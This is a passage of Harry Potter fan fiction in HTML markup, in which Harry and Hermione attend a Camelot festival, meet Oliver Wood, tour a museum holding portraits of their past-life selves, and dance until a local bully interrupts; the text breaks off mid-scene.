style="mso-bidi-font-style:normal">&#8220;I was never weak.&#8221;\nSalazar glared, &#8220;I never fell in love, and emotions make you soft.&nbsp; You born out of lust and power,\nnot love.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;That\nmaybe true, but certain types of love gave me power. One that\nyou will never understand.&nbsp; For\none it&#8217;s giving me the power to do this.&#8221;&nbsp;\nHe lifted the dagger in his hand&#8212;</i>Rowena shook her head trying to get\nrid of that memory.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">It was the worst thing she had ever been witnessed to and of\ncourse she couldn&#8217;t do a thing about it.&nbsp;\nRowena stood up from the desk and glanced down at the floor, she was\nsure that if she stood there staring at it long enough she might be able to\nstill see the pool of blood that was left by Salazar Slytherin&#8217;s body.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;Ulrich,&#8221; she\nwhispered out loud in sadness and disappointment.&nbsp; That day Ulrich was sentenced to execution\nfor murder as well. She wiped her transparent face from the small clear tears\nthat began to fall.<i style="mso-bidi-font-style:normal">&nbsp;</i> </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Rowena could hear the students nearing the classroom, which\nmeant classes were starting again; she floated from\nthe room as the students started filing into the room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry was lying on his back staring up at the ceiling in his\nvelvet robes of dark blue with silver satin trim, a silver sash was around his\nwaist, and he also wore a silver amulet with a blue sapphire stone in the\ncenter which hung low around his neck. It was to go with the gown Hermione\nchose.&nbsp; The bathroom door opened and he\nheard two sets of footsteps on the tile flooring heading into the room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He quickly got to his feet as the maid who was helping\nHermione into her gown smiled brightly before exiting the room and closing the\ndoor behind her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione emerged from the bathroom in a dark blue velvet\ngown with silver trim. The tight bodice laced up in front with silver satin\nstrings, which enhanced her already generous curves.&nbsp; The gown puffed out around her hips and hung\ndown to the floor, just the tips of her silver satin slippers were\nvisible.&nbsp; She wore a simple three stone\nsapphire necklace that hung against her collarbone and simple sapphire studs\nshinning in her ears.&nbsp; Her hair was pinned\nup in an elegant French twist with wisps of curled tendrils hanging down\nframing her face.&nbsp; She saw Harry staring\nat her and a small blush rose to her cheeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She glanced down at her feet, &#8220;This blasted gown took\nforever to get into.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He stepped nearer to her, and gently lifted her chin &#8220;I\nthink you look absolutely beautiful.&#8221;&nbsp; He\nnoticed that Hermione had a natural beauty to her, not like Cho, Lavender or\nParvati who spent an exceedingly over amount of time applying cosmetics to\ntheir faces.&nbsp; Hermione never wore make up\nshe didn&#8217;t need any, she looked beautiful without it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The sound of trumpets came through the open window signaling\nthe start of the feast and ruining their moment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well we should get out there and see what this is all\nabout.&#8221; Hermione replied with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded and took her hand in his and they left the\nroom. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Outside the sun was warm, there was music playing from\nnearby stage as the people of Camelot where dressed in the fashions of the\npast. There were some children between the ages of seven and ten playing games.\nHarry and Hermione stopped to see a little boy tossing a small leather ball to\nknock over three milk bottles that were stacked up.&nbsp; He missed on every toss.&nbsp; They stopped along the businesses that had\ntables set up outside their shops as the citizens glanced at their supplies.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Translation Beans! Translation Beans!&#8221; Someone was shouting as Hermione and\nHarry neared the table and looked up at him in curiosity.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Can I interest you two in some Translation Beans?&#8221; The\nmerchant asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Translation Beans?&#8221; Hermione was\nintrigued.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes my dear.&nbsp;\nUnderstand any language, anywhere. Even the dead\nlanguages. You could read, and even speak it under the influence of\nthese beans.&#8221; He tapped his table with a confident hand.&nbsp; &#8220;Are you interested?&nbsp; Two pounds of beans for only five sickles,\nyou can&#8217;t get a better deal than that.&nbsp;\nWhat do you say?&#8221;&nbsp; He held up a\nlarge bag in front of Hermione&#8217;s face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I know I&#8217;m interested.&#8221; Harry replied with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah it would be great to just know another language,&#8221; She\nglanced at Harry then opened the velvet bag hanging on her side and pulled out\nfive sickles and handed them to the man. &#8220;There you go.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The merchant smiled, handing them a sack of beans, and Hermione\npulled her wand from the holder around her waist that she had stuck to her left\nside and cast the shrinking charm on the sack of beans and slipped them into\nthe money purse and closed it up securely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just out of curiosity, how long do these beans last?&#8221; Harry\nfolded his arms across his chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;The effects of the beans last at least a week.&#8221; The\nMerchant replied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded and he and Hermione started on down the line of\ntables again.&nbsp; The bookseller&#8217;s table\ncaught Hermione&#8217;s eye and she lingered a few minutes, Harry noticed the eager\nlook in her eyes.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione if you want you can look here a little longer,\nI&#8217;ll check out the other tables and then I can meet you back here in a few\nminutes.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You don&#8217;t mind?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry shook his head, &#8220;Not at all.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione smiled and leaned in giving him a quick kiss on the\nlips, &#8220;Thank you, I won&#8217;t be long.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded with a smile, and Hermione looked up at the\nbookseller who had gotten her attention.&nbsp;\nHe decided to see what other shops were supplying and he continued to\nwalk down and looked at the other tables.&nbsp;\nHarry ended up buying some Every Flavor Beans from the candy store\nowner.&nbsp; He ate one and was relived that\nit was Cherry, he tried another and he lucked out, as it was Toasted\nMarshmallow.&nbsp; He barely heard his name\nbeing called he glanced around seeing who was calling to him, it didn&#8217;t sound\nlike Hermione&#8217;s voice.&nbsp; After a few\nminutes he shrugged his shoulders and continued to look at tables while popping\nanother bean in his mouth.&nbsp; Ack, Sardine! He spit it out making a funny face.&nbsp; He tried another one hoping it was better, no\nsuch luck. Dirt was not a good flavor.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry Potter!!&quot;<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He heard his name again this time he saw a familiar face and\nsomeone coming towards him. He grinned largely as none other than his old\nQuidditch Captain Oliver Wood stepped up to him.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Oliver grabbed his hand and shook it vigorously. &#8220;Well how&#8217;s\nmy favorite seeker doing?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry managed to pull his hand from the tight grip of\nOliver&#8217;s &#8220;I&#8217;m doing well, I didn&#8217;t know you were living\nin Camelot.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yep, I moved here last year.&nbsp; I&#8217;m the Falcon&#8217;s coach.&#8221; Oliver beamed with\npride.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So you&#8217;re the one that lead this team to win the World\nCup?&#8221; Harry was impressed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It took a lot of work to bring this team out of the dirt.\nBut we managed.&#8221; They continued to walk along the shops.&nbsp; &#8220;So what brings you to Camelot?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We just needed to get something from Merlin&#8217;s Cave.&#8221; Harry\nreplied with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh, so someone is here with you?&#8221; Oliver said looking\naround for someone else familiar, thinking that it might be one of the\nWeasleys.&nbsp; He hadn&#8217;t seen them in a long\ntime and quite frankly he missed seeing the twin&#8217;s pranks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry!&#8221; Both Oliver and Harry heard a happy shout and\nHermione came towards them in a quick pace, she had a bag in her hand, which\nmeant she bought a book.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione walked right up to Harry and Oliver. &#8220;Harry, there\nyou are.&#8221; She was out of breath, that tight bodice was cutting off her\nair.&nbsp; It was a good thing women didn&#8217;t\nhave to wear these things anymore.&nbsp; She\nlooked between the two boys, &#8220;Oh I&#8217;m sorry was I interrupting something?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Oliver shook his head, &#8220;No, not really.&#8221;&nbsp; He glanced at the girl for a moment, where\ndid he know her from?&nbsp; She looked\nsomewhat familiar.&nbsp; He watched her full\npink lips move as she was talking with Harry showing him the book she got.&nbsp; Oliver&#8217;s gaze drifted up to her deep brown\neyes, which were sparkling with happiness as she was talking to Harry.&nbsp; Oliver noticed that Harry was equally\ninterested in what she was saying as she seemed to grab all of his attention.&nbsp; He wondered if there was something going on\nbetween these two, and for some strange reason he hoped there wasn&#8217;t.&nbsp; Well it didn&#8217;t hurt to find out. &#8220;So are you\ngoing to introduce me to your friend Potter?&#8221; He asked with a radiant smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Both Harry and Hermione turned to look at Oliver, Harry felt\nguilty for having ignored him.&nbsp; It was\njust whenever Hermione was around she seemed to make the whole rest of world\nfall away.&nbsp; Harry saw Hermione roll her\neyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Gee you make someone&#8217;s glasses repel water one year and\nthen after it&#8217;s over they forget who you are.&#8221; Hermione replied with a hint of\nsarcasm and amusement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Oliver&#8217;s eyes lit up with the realization, this was little\nHermione Granger. He bit back a laugh; well she&#8217;s not so little anymore. &#8220;Harry&#8217;s best friend?&#8221; He said with shock.&nbsp; Oliver watched as Hermione slipped her hand\ninto Harry&#8217;s who squeezed it gently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yep.&#8221; Harry said with a\nsmile.&nbsp; &#8220;You remember Hermione don&#8217;t\nyou?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Certainly,&#8221; Oliver said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry I met some girls over at the book sellers table and\nthey asked me if I could go get something to drink with them, you don&#8217;t mind do\nyou?&#8221;&nbsp; Hermione glanced over at Oliver\nand then back at Harry. &#8220;And if you wanted to come with me you could I don\'t think\nthey would mind, but I&#8217;m sure you two would want to talk about Quidditch or\nsomething.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh it&#8217;s all right Hermione; you go and have your fun.&nbsp; I&#8217;ll come and find you in an hour or so. How\ndoes that sound?&#8221; Harry asked with small smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That would be great, and then we can go up and look at the\ncastle.&nbsp; It&#8217;s been turned into a museum\nyou know, and I&#8217;m sure it&#8217;s quite fascinating.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded and felt her hand squeeze his before her\nfingers left the warmth of his palm.&nbsp; He\nwatched her quickly walk off in the direction she came from and turned his\nattention to Oliver who was doing the same thing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So that was your best friend huh?&nbsp; You two sure have changed a lot since I last\nsaw you guys.&#8221;&nbsp; Oliver replied then\nturning his attention to Harry. &#8220;Tell me about Hogwarts, is Snape still a git?&nbsp; And is\nTrelawney still predicting your death everyday?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry chuckled. &#8220;Yeah it&#8217;s all the same, but it is great\nnonetheless.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I believe you, I miss it a lot.&#8221; Oliver sighed, &#8220;Of course\nyou know me, I&#8217;m still Quidditch crazy, probably even\nmore so now.&#8221; He laughed a bit.&nbsp; &#8220;I get\nthese players up earlier than I used to get the Gryffindor team up.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well from what I heard this team needed all the practice\nthey could get.&#8221;&nbsp; They started strolling\nalong the seller&#8217;s area while having a conversation about how bad the Falcons\nwere before Oliver had come here. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">About an hour later Harry and Hermione met up, Oliver\ndecided to tag along with them and offered to show them the sites and the\ncastle as well. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They walked through the museum, their shoes clicking on the\nwhite marble tile.&nbsp; There were red velvet\nropes preventing them from getting too close to the exhibits encased in\nglass.&nbsp; One of the exhibit&#8217;s they looked\nat were in the music section of the museum, a little sign read Golden Lyre.\nThis was a musical instrument of the ancient world.&nbsp; It looked like a small guitar.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The three of them walked into a very large room, what lay\nbefore them was a site to behold.&nbsp; The Round Table. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione and Harry both stood staring at it in awe, Hermione rushed up to the table and glanced down at the\nstone.&nbsp; Each knight&#8217;s name was engraved\nin gold at a particular spot where she was sure the knights had sat.&nbsp; &#8220;Everyone was equal, none better than the\nother including the king himself.&#8221; She touched some of the gold lettering,\n&#8220;Truth, Honor, Valor, Trust, Respect.&#8221; She said\nquietly to herself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;King Arthur sat there.&#8221; Oliver pointed out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry and Hermione walked over to where Oliver was pointing\nand glanced at the name King Arthur Pendragon. His name\nwas also carved in gold to the seat on the kings right was the name Sir\nLancelot.&nbsp; Oh she remembered what he did, he fell in love with Lady Guinevere who returned his\nfeelings in kind.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Oliver, Harry and Hermione stepped into an adjoining room\nthat connected to the meeting room, which was filled with portraits and\nbeautiful works of art. Oliver was standing in front of one on purpose, hoping\nthey wouldn&#8217;t notice.&nbsp; Harry and Hermione\nwalked around the room looking at the different portraits.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh no.&#8221; Harry heard Hermione\nwhisper in distress.&nbsp; &#8220;What&#8217;s the\nmatter?&#8221; He looked at her with concern.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione jerked her head towards the portrait, &#8220;Look at\nthat.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry looked in the direction she signaled and found once\nagain Hermione&#8217;s face, her eyes staring back at them.&nbsp; He closed his eyes and took a deep breath,\nhoping that it was not the name he thought it was.&nbsp; His eyes opened and he looked at the little\nlabel.&nbsp; Yep he was right, it read Lady\nGuinevere Pendragon.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;And look Harry, there&#8217;s you again.&#8221; She said quietly to\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry glanced at the portrait that looked like him, he was a\nbit relieved that the name under his portrait didn&#8217;t read King Arthur, but was\njust as irritated that it read Sir Lancelot.&nbsp;\n&#8220;Oh boy, who would have thought?&#8221; He shrugged his shoulders and silently\nwondered where Arthur&#8217;s portrait hung.&nbsp;\nHe looked around for it but didn&#8217;t see it anywhere.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;This was like six hundred years before Rowena&#8217;s time Harry,\njust how old are the souls that are inside of us?&#8221; Hermione said with slight\namusement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;They do seem pretty old don&#8217;t they?&#8221; He said with a small\nlaugh.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m surprised we aren&#8217;t tired of each other, I mean the\nsame person over and over again, and you would think it would get a little routine.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t think we&#8217;ll ever get tired of each other I mean\nthousands of years must mean something.&#8221; Harry said grinning.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I would gladly spend another thousand years with you.&#8221;\nHermione replied as a soft blush rose to her cheeks, she glanced down at her\nsilver satin slipper.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He moved closer to her wrapping his arms around her in a\ntight embrace, &#8220;I wouldn&#8217;t have any objections.&nbsp; Another thousand years\njust wouldn&#8217;t be long enough.&#8221; He said quietly to her, he leaned in&#8212;they heard\nthe sound of someone coughing, they both turned with slight annoyance and their\nsweet moment spoiled for the second time that day. Some days it did not pay to\nget out of bed.&nbsp; Sometimes Harry really\nhated being around other people, he was just about to kiss his girlfriend\nsenseless and someone else spoiled the moment. He sighed with a slight\ndisappointment, but didn&#8217;t really worry there would be plenty of time for this\nlater.&nbsp; Or so he hoped.&nbsp; They reluctantly stepped out of each other&#8217;s\narms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well you two the feast is about to start, we should head\ndown to the town square now.&#8221; Oliver said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry and Hermione both nodded and they started walking from\nthe portrait room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You know I didn&#8217;t see a portrait of Arthur in there.&#8221;\nHermione replied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Neither did I, but it&#8217;s not like we haven&#8217;t seen his portrait\nbefore. There was one hanging in Merlin&#8217;s vault.&#8221; Harry reminded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes but I didn&#8217;t take the time to get a good look at it, I\nmean I saw it sure, only because I compared the sword. And plus he was wearing\nsome kind of helmet in the portrait so I kinda wanted to get a good look at him\ntoday.&#8221; Hermione said with disappointment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well as soon as we return these.&#8221; He lifted up the hem of\nhis robe, &#8220;then we can see the portrait,&#8221; his voice dropping lower so only she\ncould hear him. &#8220;I wonder myself who we have known through out the lives of our\nsouls, I&#8217;m thinking that everyone that we know now have always been intertwined\nwith our lives in one way or another&#8221;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That is an interesting theory.&#8221; Hermione said with a smile,\n&#8220;and a very good one at that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They walked down to town square where there were large\ntables gathered around what looked like a dance floor.&nbsp; Harry and Hermione sat down next to each\nother while Oliver sat down next to Harry and another friend of his.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The set up was somewhat like the Hogwarts feast at the\nbeginning of the school year, someone spoke telling about all the great\nachievements that happened to Camelot over the past year, including the winning\nof the World Cup which caused the a loud cheer to erupt from everyone.&nbsp; The food then appeared and everyone dug into\nthe grand banquet that lay before them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione helped herself to some spicy chicken wings and\ncouldn&#8217;t help herself from taking some cherry tarts.&nbsp; Harry wondered when she developed such a\nsweet tooth.&nbsp; Nowadays it seemed that\nHermione liked a lot of strawberry and cherry flavored dishes and sweets.&nbsp; He also saw Hermione take a small helping of\nscalloped potatoes in creamy cheddar cheese sauce and a leg of lamb. Each item\nseemed to melt in her mouth like butter, it was so creamy and tender that she\nate her fill.&nbsp; She then helped herself to\nsome lemon-flavored ice that stayed frozen even out doors.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">A lovely slow tune had begun by the piano, harp and flute\nplayers and couples joined together on the dance floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp; Harry turned to\nHermione. &#8220;Would you care to share a dance with me Lady Granger?&#8221; Harry asked\nwith a proper gentleman&#8217;s tone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh, Harry you know I can&#8217;t dance very well.&#8221; She said\nglancing down at her empty plate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well neither can I so we&#8217;ll just move slowly to the music.\nMostly staying in one place, it&#8217;s easy.&#8221; He assured her and stood.&nbsp; Harry held his hand out expectantly while\nHermione looked up at him with a smile; she placed her hand in his also getting\nto her feet.&nbsp; Harry then led her to the\ndance floor.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He wrapped his arms around her waist pulling her to him and\nHermione&#8217;s arms went up and around his neck pulling him just as tightly to\nher.&nbsp; The two of them moved slowly, just\nas Harry said.&nbsp; They moved in small\ncircles staying in one corner of the dance floor.&nbsp; Hermione leaned her head on his shoulder\nwhile his cheek rested against the top of her head as he breathed in the scent\nof her strawberry scented hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione heard him softly sigh and she lifted her head off\nhis shoulder glancing up a bit, his vivid emerald gaze held such a warmth of\nadmiration and affection for her.&nbsp; She\nreached up and traced his cheek with a slender finger.&nbsp; Harry softly grabbed her hand in his and held\nit next against his chest, he leaned in slightly.&nbsp; He watched as Hermione&#8217;s eyes were drifting\nclosed as his mouth neared hers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Oliver watched from his seat, he saw how much affection they\nhad for each other and someday hoped that he would find a love like that to\ncall his own.&nbsp; Someday he would find that\none special lady and perhaps he would be just as lucky as Harry was.&nbsp; He leaned back in his chair and lifted his\nmug of Grape Fizzy and was about to drink some when he saw the town bully and\nhis goons heading towards Harry and Hermione.&nbsp;\nOliver knew that Darrius Kent was just going to stir up trouble.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Darrius tapped Harry on the shoulder who\nturned and looked at him with a question in his eyes.&nbsp; &#8220;Would you mind if I cut in?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry felt Hermione clutch Harry&#8217;s arm a little tighter,\nwhich usually meant, you better not.&nbsp;\nHarry held a glare he didn&#8217;t want this other guy to cut in on his lady\neither. &#8220;I&#8217;d rather not.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You don&#8217;t have much of a choice friend.&#8221; Darrius said with\na smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Oliver was up next to them in flash, &#8220;Oh leave them alone Kent\nyou aren&#8217;t interested in that sixteen year old girl.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Darrius turned to Oliver with a glare in his eyes, &#8220;You stay\nout of this Wood, it&#8217;s none of your business.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;These two happen to be my friends Kent, this is so my\nbusiness.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;And I don&#8217;t believe that this girl is only sixteen, I met\nher in the tavern just a few hours ago and she seemed old enough to me.&#8221;\nDarrius said with a smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry turned to Hermione, &#8220;Is that true?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione nodded, 